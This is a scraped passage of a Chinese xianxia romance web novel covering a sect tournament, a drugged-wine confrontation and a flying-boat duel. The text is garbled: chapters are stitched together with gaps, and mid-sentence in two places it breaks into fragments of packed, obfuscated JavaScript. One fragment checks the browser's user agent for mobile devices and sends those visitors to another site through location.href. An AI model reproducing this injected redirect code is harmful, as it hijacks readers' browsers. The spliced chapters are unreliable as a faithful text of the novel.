然而轮到7号队伍裁判宣读数量时。 全场震惊JPG. “七号队伍,156块。” 想要低调,但一点儿也藏不住嘚瑟的北冥凌压平手,装作低调的模样,“实力都是实力。” 为了庆祝二人的成绩,夜晚周铭做东组了个小饭局。 餐桌上只有孟簪、谢赴星和周铭三人。 孟簪不由得心下一松,和谢赴星几天的相处已经让她觉得很开心,知道今晚还可以和他在一张餐桌上吃饭,她兴致冲冲地拿出包裹准备找一件新衣服换上。 这时,一封信从包裹中滑落,沉浸在兴奋中的孟簪没有发现,不知想起了什么,孟簪翻出柳拂云送予她,但她却从来没用过的胭脂。 孟簪来的时候,远远便看到谈笑的两人,少年今年穿了件鲜红的长衫,白色内衬,衬得少年精致眉眼出落得惊艳。 少年余光看见孟簪不由得停下谈话,“师姐来了。” 孟簪平日里不着粉黛,今日涂了胭脂的面容,给平日里这份清冷增添了几分优雅和生动。 孟簪找了个周铭身旁的位置坐下,“我来得晚,自罚一杯。” 这不自罚还好,一自罚,便让孟簪觉得这酒有些上头,不经意间便多饮了几杯。 耳畔模模糊糊传来问题。 “为什么来参加仙门大比?” 少年清澈的声音忽近忽远。 孟簪有些喝醉了。 “因为……”她湿漉漉的眸子转向谢赴星。 你字被她吞入了喉咙里。 能见到他,孟簪已经很开心了。 周铭扯远话题,孟簪盯着酒杯的酒,仿佛回到了那个晚上。 她又倒了一杯,酒盏却被一双手握住。 少年的手瘦削而修长,骨节分明,净白的皮肤下可见淡淡的青色纹路。 “酒喝多伤身,师姐今日差不多了。”月光倾洒落在少年如玉的面容上,那双眸毫不遮掩对孟簪的担心。 “你醉了。”极为轻缓的落下这一句话。 叮的一声,孟簪觉得自己大概是在梦里。 才会离小师弟这般近。 但是或许正是因为离得近,她也能看清对方的眸看着自己时不沾染半分多的情感。 温柔而疏离,明明那么近却像是天边的月。 她但凡伸手一捞,便会落空。 倏尔她释然地笑了。 宗门距此千里迢迢,她本以为这次来到凉州定然是竹篮子打水一场空,她给自己做了充足的心理准备却不想自己竟有幸可以并肩作战。 “好,我不喝了。” “何日是你生辰?”孟簪闲聊了开来,她记得,少年人十八岁总该过得热闹些的。 少年却摇摇头,“不记得了。” “以前呢?”孟簪瞥了眼醉倒过去,趴在桌上睡觉的周铭。 “我从不过生辰。 12. 第十二章 《反派小师弟救赎计划》全本免费阅读 第十二章 “所以为什么今年还有第三轮?”北冥凌撑着个下巴算是想不明白了,本以为熬过了二轮终于可以好好休息一下了,不想,再过一周竟然又要进行下一轮比赛,他眼中藏不住的憔悴和心累。 “不知道。” 回答的斩定截铁的苗昊思忖了一会儿,若有所思地看向谢赴星,“听说,今年的前几可以直接进入剑宗做弟子,所以才多了一轮。” 北冥凌直接举起手,往椅子上一个后躺,“那好,我不想进入剑宗,可以直接放我走了。” 苗昊轻轻瞥了他一眼,像是很不在意,“哦,随便你。” 孟簪啃了口馒头,专心致志干饭的样子不由得让北冥凌嘴角一抽,“姐,你不紧张吗?” 按理来说,进入三轮实力最弱的非孟簪莫属。 孟簪也是真走狗屎运了,被一群大佬带飞。 “嗯,我应该紧张吗?”孟簪很认真地看向苗昊,“要是我排最后一名会如何?” 苗昊:“不如何。” 孟簪再问:“可有名次?” 进入第三轮,定然是有的。 孟簪听完点点头,像是放心了,“那便好。” “……” 不是,姐你好歹有点胜负欲吧。 “柳姐,你不打算搏一搏吗?” 孟簪指着自己,像是一副极为不可思议的样子,无声的一个动作仿佛在说,我吗? “不想。” 孟簪本来就不是为第一来的。 能有今日的名次,她已经极为满足,对于剑宗她并不感兴趣,她只对能否进入无花宗内门感兴趣。而进入无花宗的条件,便是在仙门大比上取得名次,高低无所谓,只要有名次,孟簪便可以进入内门。 所以在谢赴星几人都在认真备赛的时候,咸鱼躺平的孟簪却是在日上三竿时被人强制开机的。 “柳师妹你不能再睡啦!”周铭晃动着孟簪的肩膀,痛心疾首道,“你再睡下去,我们无花宗的未来可就完了!” 孟簪呆滞地看着周铭,不敢置信地指着自己,“我?”单凭我就可以让无花宗的未来完蛋? “明日就要三轮了,你可知道?” 孟簪点头如捣蒜,乖巧得不能再乖巧。 周铭抹了抹不存在的眼泪,苦口婆心地劝导道,“我替你勘查过了,你下一轮的对手修为大你一个境界不说,这几天不知道是吃了什么药,日夜不分拼了命地练剑,比你小师弟还要玩命,你说对方这是为什么?就是为了让你在比试台上难堪啊!俗话说,台上一分钟,台下十年功。虽然咱们没有十年功但是也得打个一分钟啊,你你你……松弛感未免也太强了吧师妹!” 孟簪摆摆手,无所谓道,“没事师兄,我台下没有十年功不说,我待在台上的时间也不会有一分钟的。” “放心,当然不止一分钟。人家要想玩死你,自然不会是一分钟的事情。师妹!你知道折磨敌人最痛苦的手段是什么吗?” “求生不得,求死不能。”孟簪自然了解,正想安慰几句多虑的周铭,可惜“师兄……”我想你是多虑了几个字还没来得及出口就被周铭打断。 “对了啊!你看你都懂啊,所以咱们在比赛前还不能那么松懈啊,咱们得准备准备,比如你看你剑……”周铭顿了晌,迟疑地看向双手空荡荡的孟簪,“你剑呢?” 孟簪把手往后一缩,像是做错事的小朋友,无辜而又可怜道,“路上的时候被妖兽叼走了。” “你没追?” “追了。” 孟簪用手指比划了一下,强调道,“我追了,追了大概十厘米的样子,我发现我压根跟不上它。” 等下,你说多少?十厘米? 不是啊,你这十厘米也能叫追? 周铭坐在凳子上,觉得孟簪大抵是要完了,实际上,在他心目中,孟簪已经是完了。 因为一边暗戳戳要耗死孟簪的人,已经摩拳擦掌,就等着明日白昼降临。 这几天,她不仅把剑法练上去了一个层次,而且还问师父要来了能够短暂提升的丹药,虽然师父千叮咛万嘱咐她这丹药会折损寿命,非必要不要吞食,但是为了能够在比斗台上把孟簪踩在脚底板下,她觉得这一切都是值得。明日,她定要让孟簪好看! 好不好看不知道,孟簪只知道她最近的霉运确实有点挡不住。 出门必下雨。 带伞必不见。 下楼必滑倒。 无所谓,孟簪会好好躺在床上,抱着自己的小被子不出门,正所谓你不去找霉运,霉运也不会上门来找你。 女子翘首以待的那一天来临,结果等来的是“我弃权”三个字,不巧那天还下了小雨,浇得女子的心拔凉拔凉的。 睡眼惺忪的孟簪揉了揉眼,要不是周铭把她摇醒,她可能连来都不来了。 “你不准走!” “诶为什么?我又打不过你。” 对面的人:…… 无言以对,甚至觉得精心准备的自己有点可笑。 “那我先回去睡觉了,拜拜。” 孟簪哼着小曲子,撑着伞走了。 隔天, “哈哈哈哈你是没见到,她脸都气红了。” 北冥凌正议论着,一旁传来苗昊刻意的清嗓声。 北冥凌不由得投去了目光,阴阳怪气道,“苗公子嗓子不好?” “……”苗昊瞪了北冥凌一眼,扭过了头,不再发言。 北冥凌口中议论之人不知何时便在了他背后,此刻女子笑里藏刀地开口,“北冥公子,早啊。” 孟簪低头假装忙着拌饭,苗昊幸灾乐祸地瞧了眼。 等人走远了,北冥凌才拍着胸膛,虎口逃生般庆幸道,“还好她没听见我方才说她剑舞得跟小脑没发育好的人一样。”不然北冥凌可算是完蛋了。 “北冥公子。”万万没想到人会折返回来的北冥凌在听到熟悉的声音那刻已经心脏骤停了。 有的人活着,但他已经死了。 “我小脑发育的很好,谢谢关心。” 直到对方离去了许久,北冥凌都跟离魂般,看来是真得被吓得不轻。 “小师弟,你想进剑宗吗? 13. 第十三章 《反派小师弟救赎计划》全本免费阅读 第十三章 每月的二十这天,幻形的法术会短暂失效,为了防止被他人发现自己的秘密,二十这天谢赴星一般不会选择出门。今天也是,谢赴星百般聊赖地吐了个泡泡,把头闷进水里,打算干脆一整天泡在冷泉之中,却没想有人突然闯入房间内。 杀心突起,他毫不遮掩眼中的杀气腾腾。 然而,在目光看清来人是他那位咸鱼师姐之时,谢赴星忍住把孟簪拍死的冲动,拿起一旁的月白的衣服随意套上,从浴桶中起身,湿漉漉的鸦黑发丝,从头到脚还滴着水,“师姐为何擅自闯入我房间内?”说话间,谢赴星用手掐了个法诀脱去了身上的水汽。 孟簪回神,意识到了尴尬的氛围,开了门方才想往后退,那傀儡就追了上来,她急忙再次关上门,却对上少年冷淡审视的目光,她想开口解释,然而下一秒,门就径直炸开,四散的木头碎片划过孟簪的脸颊,谢赴星一个飞身握住孟簪的手臂带着往后连退了几步。 看着挡在自己身前的谢赴星,孟簪耳朵红了个彻底,心里却默默雀跃。 这把不亏,小师弟牵自己手了。 谢赴星蹙眉,有些头疼,如今法术不稳定,得速战速决,不然,发现自己秘密的孟簪怕是留不得了。 丝毫没意识到危险,还在窃窃自喜的孟簪没想到自己的小命那么快就被这位小阎王爷预定了。 “谢赴星,接剑。” 所幸,北冥凌及时出现朝谢赴星抛剑。 少年利落的一个动作,一气呵成剑刃正要穿透那傀儡胸膛之时,突然不知从哪里冒出来一个男子,挡在那傀儡身前。剑在碰到对方之前堪堪停下,差一点谢赴星手中的剑便要伤了他,然而,对方骤然吐了一大口血,洒在了谢赴星的剑上,谢赴星侧眸,是被他护在身后的傀儡一拳掏空了男子的腹部。 这人不是方才追着孟簪的那个胖哥们,一旁的孟簪觉得这张脸有些面熟,当目光扫到两人衣裳上相同的道纹之时,孟簪幡然醒悟,明白了这种熟悉感从何而来,这不就是来福客栈当时给自己递了一柱香的玄雨道长吗? 那么身后的那个入魔的……孟簪对上对方可恐的红眸可不就是当时不愿意开阵的小弟子。 可是,他俩怎么回事?那小弟子怎么会入魔? “别怕,哥哥会保护你的。”玄雨此刻正想转身抱住那入了魔的小弟子,可孟簪的角度看来,那小弟子如今入了魔一心只想杀了玄雨,哪里还记得起半分师门之谊。 拎得清局面的北冥凌一张符毫不犹豫地贴在了傀儡背后,递给谢赴星一个眼神,谢赴星会意抓着玄雨的手后退。 “真是疯子。” 要不是自己出现,这人早就死在傀儡手下。 北冥凌环胸,没好气的开口,“你贸然挡在傀儡面前怎么,嫌自己活得长了?” 孟簪也是不解,“玄雨道长到底发生了什么?”玄雨摇摇头,咬着唇愣是半个字都不愿诉说。 不远处的庞公子已经被人制服,玄雨那一眼的眼神被孟簪捕捉到,带着点慌乱和心虚,他低头喏喏,“我什么都不知道。” 安静的间隙,北冥凌又开始了他喋喋不休的教导,“你知不知道你方才在做什么啊!别说是你亲弟弟,就算是你亲爹入了魔你都只有死一条路。逞什么英雄你!” 孟簪移开目光,正在思考,这时候眉心一点朱砂的小师弟微微侧头,“师姐可有伤到?” 他发丝还有些潮湿,软塌塌地趴着,但那双眸透亮,带着关心看向孟簪,安静而柔和。月白的衣袍是个很净的颜色,一不小心就会过于寡淡,但是少年眉目本来精致,不需要过于艳丽的衣服便撑的起来,今日这身月白的衣袍,领口处绣着几朵铃兰花,少年眉眼微弯,整个人就好似春日里枝头纯白的茉莉花,美好而又单纯。 孟簪一个心驰神往,什么疼痛惊慌都不记得了,说着还拍了拍自己的胸膛,坚韧道,“没事!你师姐这个人什么都不好,但是就是身体好!一顿吃三碗,你师姐身体倍棒!”说完,孟簪像是意识到了什么,颇有些不好意思道,“抱歉小师弟,方才闯入你房间里是我唐突了。” 谢赴星好像没有半分责怪,反过来安慰孟簪,“无碍,师姐没事就好。 14. 第十四章 《反派小师弟救赎计划》全本免费阅读 第十四章 上回见还是略有狼狈的落魄小少爷,方才没细打量北冥凌,孟簪才发现人今日是有打扮过的。少年如瀑的银发用一根翡翠簪子固定,几缕龙须刘海遮住他清晰的下颚线,他玩味地朝孟簪挑眉,那双紫眸确实有些勾人了,“怎么、不欢迎我来?” 说着,北冥凌扔了个东西到孟簪怀里,“这是玄钟托我给你的,说是谢谢你。”对于孟簪把他拦在门外,他倒是一副泰然自若的姿态,没有半点的尴尬亦或者是不自然。 虽然北冥凌有些想不明白为何孟簪会与道宗的弟子结识,可是对于这些想不明白的事,他也不会费了功夫去想。 “你在做什么?”北冥凌的目光穿过孟簪看到了梳妆台上放着的药,不用多言,他也知道了。 “受伤了?方才谢赴星问你为何不说?”孟簪动作很快,但是北冥凌已经看到了,眼下挡住他的视线也是于事无补,北冥凌语气幽幽地调侃孟簪,“你这位小师弟身上必然有不少灵丹妙药的,怎么不问他要点?” 孟簪头也不抬,回答道,“刚才有些害怕,没意识到受了伤。” “伤了哪里?我看看。”北冥凌倒是有几分良心,调侃完孟簪后也还记得帮忙看看。孟簪拨开一旁的发丝,其实这个距离北冥凌就可以看到了,但是下一秒,一双冰冷的手挑起孟簪的下巴,这个角度北冥凌甚至看得到孟簪耳畔戴着的白玉耳坠以及她眼中的惊愕,“你眼睛不好?”孟簪蹙眉,“还需要这样凑近了看?” 左半边的伤痕露了出来,北冥凌在被孟簪打手之前,身法极好的往后一避,口上倒是一本正经地评价道,“哟,确实还挺长,真不用看看?” 孟簪倒也不是真得生北冥凌的气,只是他这人动手动脚惯了,太没有分寸感也不好,见北冥凌既然有几分自知之明,她便也没有多责问,只是轻描淡写的一笔带过,“小伤不打紧。” 虽然是真得疼但是孟簪知道这种划痕最容易医治,敷个几天药便好了。 “我问他要点药。”见北冥凌一副正气凌然的样子,有几分不好的预感涌上孟簪的心头。这人又想要搞事情了,孟簪算是看出来了。 “谁?” “谢赴星。” “不要去。”几乎是没有半点犹豫的,孟簪拒绝了。 北冥凌回头,有些莫名,更多的是被孟簪吼了一嗓子的委屈,“为什么?” “……”孟簪的手指点了点下巴,“小伤不打紧的,它很快就好了。更何况,根据边际效用递剑规律,随着我使用药的数量的增加,增加一单元药的使用我所获得的效用是在递减的。所以不必增加多余的药了,现在用的药就够我用了。 再说,节俭是自古以来的美德,你听过一句话没,节俭的女人最美丽,节俭的女人最优秀,节俭的女人最通情达理。” 北冥凌被孟簪这一席话哄得愣愣的,而后狐疑地看了眼孟簪,低声询问,“你很怕你小师弟?怎么感觉他跟老虎似的。那么躲着他?” 孟簪默默道,老娘那是讨厌他吗? 那分明是怕自己暗恋被人发现。 “小师弟那么优秀,我有压力也很正常。” 北冥凌思索了半刻,调侃道,“要不是见你怕谢赴星这个样子,我差点以为你喜欢他的。” “这是万万不可能的,你你……你不要瞎说啊!我怎么会喜欢我小师弟,哎呀,我肯定不会喜欢比自己小的啊!” 见孟簪很被踩了尾巴的猫一般,北冥凌做了个鬼脸,“骗你的,嘻嘻!” “……”我剑呢!我剑呢? 记起来了,木剑搁路上被妖兽叼走了。孟簪现在还真算是无剑可拔心茫然。不对啊,孟簪想起了自己在秘境里捡来的还没用过一次的剑。自己好像还是有剑的。 她拿起这把被自己放在一旁的剑,无疑,被作为宝物藏在秘境里,这把剑是有其过人之处的,只是她的手拂过剑上舟明二字,不知为何有一股来自灵魂的熟悉感。 来自剑的。 眼下这把剑被谢赴星封住,和普通的佩剑一般无二。 日后出门,孟簪就可以带着了。 一般来说,剑都是要有名字的。 想起自己丢失的阿大,孟簪摸着这把剑认真道,“那就叫你,饺子吧。” 正巧孟簪早饭刚吃完饺子。 见北冥凌哼着小曲儿走远,孟簪看了眼北冥凌扔在自己怀里的东西,是一块木雕牌,上面刻着一个字——钟。 — 孟簪今日经过胭脂铺的时候忽然被人叫住。 “你的意思是说,让我帮你约小师弟出来?” 孟簪欲言又止,止了又止。 “嗯嗯,我之前一直想上去跟谢师弟说说话的,可惜一直没有独处的机会,他上次救我,我还没来得及道一句谢,”说着少女低下头,耳朵红红的,“他借我的衣服我洗干净了,打算一并还给他,就是不知道有没有这个机会了。” 像小师弟这种人,来者不拒,好像对谁都挺好。 对方的理由很充分,孟簪几乎是猜得到结局,小师弟定然是会答应不让这位少女失望的。 “柳师姐,你会帮我这个忙的对不对?” 对方攥着孟簪的衣襟,一双眼睛可怜兮兮地看向孟簪,给人一种想要把世界上最好的东西推在她面前的冲动。 孟簪鼻间嗅到一阵异香,这阵香味忽远忽近,孟簪扭头对上少女圆溜溜眸的那刻,不知是哪来的一阵冲动涌上心头,下一秒不受控制的她紧紧握起少女的手,像是结拜过的亲姐妹向对方义正言辞地承诺道,“你放心姐妹,你这个的忙,我算是帮定了!” 然而走了不远处,孟簪后知后觉意识到,她好像被人坑了,方才飘来的香有问题,那人更有问题。 英雄救美这种借口可太广泛了,况且连个名字都没留就告诉孟簪三日后醉仙五楼。 可是孟簪答应了人家,也不好违背自己的诺言。 三日后的清晨, “啧,心情不好?”北冥凌摇着他那个破扇子,笑眯眯地出现在了孟簪的对面。 他这话倒是没委婉,毕竟就连迟钝的宋故封也看出来孟簪心情不好了。 “你已经吃了一个时辰的粥了,成功打败了旁边桌手抖的王大爷,成为了酒楼里唯一一个还没吃完早饭的人。” 北冥凌摇着扇子,瞥了眼孟簪,“以及,你确定要一粒一粒米的喝粥?饿死鬼投胎都没有你那么节俭吧。” 孟簪没心情,回了三个字,“你不懂。” “不,我怎么会不懂。节俭的女人最美丽,节俭的女人最优秀,节俭的女人最通情达理!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12836871|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊你吃饭了。” 林默抿着唇,有些不愿就那么离去,没死心地问了句,“叔叔,我来找谢赴星哥哥,他在不在这个客栈啊?” 也不知自己哪句话引起对方的警觉,那北冥凌的脸色一下子变得难看至极。 “你方才说什么,再说一遍。” 林默重复了一遍,然后这北冥凌的脸色算是彻底难看至极了。 “不知道,不认识,不了解。”扔下三个短语后,就跟个鬼魂似的飘走了。 好巧不巧,转个身便正好撞上有事出门的苗昊,于是北冥凌当机立断地拦住了苗昊,“苗昊!” 苗昊并没有耐心听北冥凌说话,“有话快说,我还有事。” 北冥凌一口气把话说完了,“你觉得我像你叔叔吗?” 苗昊:…… 少年冷笑了声,“不像,你像我儿子。” 平日里照例应该要火冒三丈的北冥凌,今日眼睛一下子亮了,蹦了三尺高,开心道,“对了嘛,我这样年轻的面貌说是你儿子都不过分。你啊,也不用太难过,虽说习剑之人这脸啊风吹日晒就是容易老,但谁叫我心地善良呢,你呢也不用太死板向我讨教一下保养之法,我也愿意帮帮你。 不然以后出门,你说要是咱俩被错认成爷孙……” 忍无可忍的苗昊握紧了拳头,训斥道,“滚!” 难得被骂依旧如此兴高采烈的北冥凌:“好嘞!” 被北冥凌抛弃在原地的林默不理解,但是无碍,她转头找了店掌柜问到了谢赴星所在的房间,既然她没法替师姐手刃了这谢赴星,但是使一些小手段还是很简单的。 “掌柜的,这是谢赴星那位师姐拜托我送给那位哥哥的。” 做完一切的林默拍了拍手,一副稳操胜券的姿态大摇大摆地走了。 掌柜的看着这壶酒,思索着该怎么送去给谢赴星的时候,正巧看见他那位师姐路过,“柳姑娘留步。” 孟簪拿了酒,掌柜的没多说,就让她帮忙送个酒。她理所应当地认下是谢赴星自己点的酒,一想起上次赴宴,谢赴星酒量确实很不错,喝到后面周铭已经被灌得烂醉如泥,谢赴星还跟个没事人一样。 想着,孟簪已经站在了谢赴星门前。 她犹豫了几秒正想敲门,门就从内打开了。 两目相对,都是有些意外。 少年发丝散在肩头,只松垮垮地系了个侧马尾垂落在肩头,衣服依旧是平日里招摇到不行的红衣,只是这身红衣款式简单,孟簪只一眼看出料子不俗,穿在谢赴星身上,再普通的衣服好像都多了几分的矜贵。 “师姐,找我有事?” 谢赴星送自己有毒香囊的事情还没翻篇,孟簪也不知该用怎么样的心情面对小师弟了。 要说过去,小师弟救了自己一回又一回,孟簪定然是谢赴星坚定的唯粉,可是当下,说真的,要是有选择的话,孟簪并不想和小师弟虚与委蛇。 所以,不妨把话摊开了说。 正巧有酒,借酒壮个胆的勇气还是有的。 “找你喝酒。” 说着便把谢赴星推进了门。 孟簪走进房,丝毫没有惧怕之意,找了个位置便坐下了,“不会不欢迎我吧?” 少年斜倚在门上,慵懒道,“如果不欢迎的话,师姐觉得能进我这个门?” 说完,在孟簪对面的位置坐下,“师姐来找我,我自然是心中欢喜。” 说着便把孟簪方才倒满酒的酒杯一饮而尽,孟簪拿起自己跟前的那只酒杯饮了一口后骤然顿住。 “这酒……”孟簪眼睛一眯,不对劲。 她低头看向酒壶,那酒壶上贴着的红纸下面明显还有一层,她毫不犹豫地撕下,便看到明晃晃的三个字——壮阳酒。 好家伙旁边还有一行小到不能小的字样标注:合欢宗造酒厂专业出品美酒。 “这酒倒是浓郁醇香。” “不是,这可是壮阳酒!”孟簪要发疯了。 “壮阳酒是何物?” “……” 孟簪觉得有些事情还是不需要解释那么清楚的。 “比春风度还有狠毒的药。”孟簪面如死灰地扔下这样的一句话。 春风度,春风一度。比此药还要狠毒的药是什么作用也并不难猜测。谢赴星却没有半点慌忙,淡然地仿佛没事。只是这面容清晰可见的潮红,像是美玉被勾了颜色,瑰丽动人,那双含情眸氤氲,仿佛带着层水雾,让人望不见对方确切的情绪起伏。 “师姐,壮阳酒何解?” 他举着酒杯,侧眸轻问。 “无解。”孟簪也小酌了几口,但是,药效显然没有谢赴星来得那么猛烈,她用法术压制下去了。 “壮阳酒,听闻曾有一位前辈被人设计喝下这酒后,因不愿从了对方,忍到硬生生爆体而亡。”谢赴星撑着脑袋,已然是药力入体了,他放下酒杯,“师姐,现在逃还来得及。” 不然,一会儿,谢赴星怕也是控制不住自己了。 “谁和你说我要逃跑?” 谢赴星看向孟簪。 22. 第二十二章 第二十二章 “谁跟你说我要逃跑的?” 谢赴星总觉得这话谁和自己说过,只不过场景大为不同,他抵着脑袋,有些懒得去想了,便又自顾自再倒了一杯壮阳酒,也不算浪费了这好酒。 看着桌上再次被满上的酒杯,孟簪意识到小师弟还真是破罐子破摔,反正也解不了壮阳酒,索性再多喝个几口。 “谢赴星你是我的师弟。” 谢赴星放下酒杯,便听孟簪接着劝告道,“所以我希望你可以跟我实话实说,这香囊到底是哪里来的?” “师姐在问之前,心里不就有了答案了吗?”少年哂笑了声,没有再说话,这样残忍的话被他用懒散的语气说出来。 他好像真得没有心。 也不是个好人。 孟簪发现了谢赴星的秘密,按照谢赴星的性格总会找到机会除掉自己,所以,孟簪在来之前就猜到这香囊必然就是谢赴星的手笔,装得好人要帮自己系香囊,实际上不过是保证这香囊不容易被摘下来罢了。 也是这一刻,孟簪觉得对面之人,何其陌生。 “壮阳酒药效上来了,你撑不住的。” “所以,我的好师姐不准备走,是要留下来做我的解药?”他黑眸睨了眼孟簪,嘲讽出声,浑然不在意在孟簪面前褪去乖巧听话的伪装。 壮阳酒,合欢宗下三滥的手段。 “这酒不是你点的?”听到孟簪半信半疑的问话给谢赴星气笑了,冷笑着道,“师姐是觉得,我需要这酒才能起兴?” 孟簪:倒也不是怀疑这个。 孟簪缄默其口,还是选择不说话了,有的时候嘴比脑袋反应快也不是一件好事,比如眼下。 “……” 谢赴星抿了口酒,下达最后的警告,“别烦我,快走。” 孟簪顿了顿,有些语重心长地提议道,“要不,我帮你把虞双灵找来。” 毕竟要让孟簪自己以身解药是不可能的,她还没伟大到这个程度。 谢赴星已经懒得回她了,亦或者说他体内的灵气因为这壮阳酒开始不受控制的混乱起来了,他闭眼忙着梳理体内的灵力,没空理会孟簪。 孟簪这次本来就是想问谢赴星问题的,眼下得到肯定的答案后,确实也可以离开了,但是她还想知道一件事。所以,谢赴星不能死。 孟簪拿起一旁的茶壶,倒了杯茶,手指沾了水再在酒桌上开始走笔。不过须臾片刻,阵法的轮廓便成了。孟簪也喝了口壮阳酒,明白药力侵蚀的痛苦,所以也是真得有些佩服眼下还能泰然自若的谢赴星。 灵力注入,转换阵成。 “把手放上来。”谢赴星撩眼,看向孟簪,犹豫了一会儿,才慢慢悠悠地把手放在了阵法上面,因为他深知壮阳酒杀不了他,孟簪更杀不了他。 孟簪冷汗直下,如今灵力低微的她撑不了多久这二层弟子才可用的阵法,得赶紧找一个转换的目标,窗户正开着,窗外成双对的鸟叫得欢,孟簪心下神定,将药力转到了外面的桃树。 反正只要是活物就可以,没必要一定是人。 转换阵运转成功,一阵金光之后,窗外的桃花树上的桃花颜色深了几分。 谢赴星感觉身上一轻,壮药酒的药力被转走了大半,剩余的部分他自己运功便可以消化。只是,他很意外,虽说转换阵并不是什么很难的阵法,但是也得是阵法两层弟子才画得出来的阵法。 天下阵法,变化无穷。修阵法者境界一到九层,阵法九层之后便为阵王,阵王之上即为阵仙。迄今为止,天下阵法的大师多出自雷霆月和剑宗,而能达到阵王境界者寥寥无几,更别谈阵仙,可以说得上屈指可数。 剑宗的慕容铭风长老便是阵仙级别的人物。剑宗过去以习剑为主,从百年前新上任掌门开始提出要培养综合能力强的弟子,集百家之众长,倒是招揽了不少的高手前往坐镇。 如今百年过去,确实也培养了不少的人才。 对于孟簪,谢赴星的印象停留在了第一次见面的,挺弱一女的,练了四年炼气九层,倘若不是没有天赋那便是懒,但是这位孟簪师姐既然说自己修炼勤快,那便是真得在术法方面没有修炼的天赋。 在仙门大比之中,大多都是宗门百家精锐弟子,修为至少是筑基起步,少数同谢赴星一般年纪轻轻,已达金丹。 死在秘境中的李玉垚便是半步金丹。 孟簪运了气,让自己紊乱的灵力安静了下来后,对上谢赴星打量自己的目光,斟酌了一会儿,才期待地朝他开口问道,“十五夜,大雪天。你可曾还记得什么?” 十五夜,大雪天。 对于孟簪来说那是重要的一天。 可惜,她从少年眼中看不出半点多余的、应该有的神色,一声轻笑打破孟簪紧张的氛围,“师姐好像很希望我记起什么?” 也是,倘若真得记得也不会杀了自己。 孟簪寻得了答案便推门离去了。 林默正巧也是这个点到虞双灵房间门口的,得意洋洋的她一把推开了门,“师姐,我替你报仇了!” 没想,看到的是被四个美男哄着被葡萄的虞双灵,有些尴尬的,“师妹你怎么来了?” 林默安静了一瞬,出门的时候顺便把门给震碎了。 垃圾师姐,毁我感情。 — 本来是放榜的日子,却因为种种原因而鸽了。 据说是有长老昨日算了一卦,接下来的一周都不是放榜的好日子,一旦放榜便有杀生之祸,便让仙门大比的各宗门先回去,择日之后发榜于各门。 孟簪打着哈欠,来没来得及看信件,便听这眉飞色舞的北冥凌徐徐道,“这是来自破晓国的邀请信,据说参与仙门大比的很多人都收到了。” “打算去吗?” “去呗为什么不去?” 北冥凌无所谓地把邀请信一扔,反正回去也是枯燥的术法,“我倒是想去传说中的古国破晓国看看,听说这破晓国的公主已经活了很久很久了。” “也有的,说她早死了。”苗昊看起来倒也是知道破晓国的一些传闻的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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抱着这样侥幸想法的孟簪很快就被现实打败了。 “破晓国遥远,我买了辆飞舟,大家来抽房间吧。”苗家毕竟是南明国底蕴深厚的世家,苗少爷买的起飞舟好像也没有那么令人惊讶。 抽完签的孟簪握着签差点没给捏断了,艰难道:“我和小师弟一间房不太好吧。” “一间房又不是一张床。”抽中一人间的北冥凌在一旁看热闹不嫌事大,挤眉弄眼道,“再者,你还担心谢赴星对你做出点什么事情来吗?” 过去定然是不会的,现在不好说。孟簪深怕谢赴星一个心情不好,深更半夜就把自己暗杀掉了。 往日的孟簪开心到爆,如今的孟簪笑不出来半点。 “我想……” 闻言,谢赴星看了过来,语气温柔体贴道,“师姐是有什么疑虑吗?” 顶着对方明搓搓威胁的眼神,孟簪面无表情道,“我想换间房,因为我睡觉打呼,有脚气,而且还会梦游。我梦游的时候会爬床、咬人还说不准会拿剑伤人。” 没见过这等奇葩的北冥凌不禁嘴角一抽,认真提议道,“要不,姐你一个人睡?” 很好,孟簪满意了。 23. 第二十三章 二十三章 凉州此去破晓国预计是七天左右的时间,几个人商量了每晚来守飞舟的顺序,今晚掌舵的是宋故封。 北冥凌睡了一觉后起夜,他揉着眼睛,却没想在隔板上看到了个还没睡觉的人。 他只淡淡地瞥了对方的背影一眼,并不是很感兴趣开口。 针对于苗昊,北冥凌倒还真不是个多心善的人。 管他睡不睡的,北冥凌巴不得这小子早日猝死。 正当他转身打算进屋的时候,“表哥,别来无恙啊。” 北冥凌侧眸,对上来人那双阴暗偏执的丹凤眼,苗家令牌在腰间,这人是苗家的? 虽说各国之间看似祥和,可明争暗斗并不在少数,真关系好的也不过是极少数,比如苗昊的亲姐和北冥国那位皇女。 北冥凌眼睛一眯,筑基七层,年岁看着和苗昊差不多大,苗家何时有这样却没听人谈起过的人才了? 苗昊神色淡淡,波澜不惊地对上对方挑衅的眼神,“是你?” 这般反应落在苗徽昀的眼中,便同多年前一般,一样的不将他放入眼中,“听闻表哥在秘境之中出尽了风头,树大招风,给自己树立了不少仇敌。表哥如此厉害,就是不知接下来我这一招你是接还是接不住?” 苗家本就以器而胜,而这器尤其以伞出名。 苗家伞,夺日月。 当真是百闻不如一见,北冥凌后退了几步,远离这即将而来的战场。 话音刚落,灵力倾泻而出,白伞先被苗徽昀甩出,脚尖一轻点便从另外一辆飞舟落在了隔板上,看着轻巧的伞展开瞬间,暴风骤起直卷苗昊眉心而来。 苗昊以指抵剑挡住瞬间,被卷入了风中,站在飓风中心的苗昊手心聚起灵力。以风藏身,苗家的风云伞,伞开引风雷。 只是这风怕只是第一招。果不然一道雷电降下,直直打向站在飓风中心的苗昊。 被飓风困在这一方地,这雷降下几乎是避无可避。 蕴含着筑基七层的雷落下,北冥凌眼皮一跳,一阵不好的预感涌上心头。 雷被苗昊挡下前一秒换了方向,而那落下的位置恰是飞舟骨架的龙心,龙心碎,飞舟直接从龙心处裂开。 “这个杀千刀的!”北冥凌在坠落前只有这一个想法。 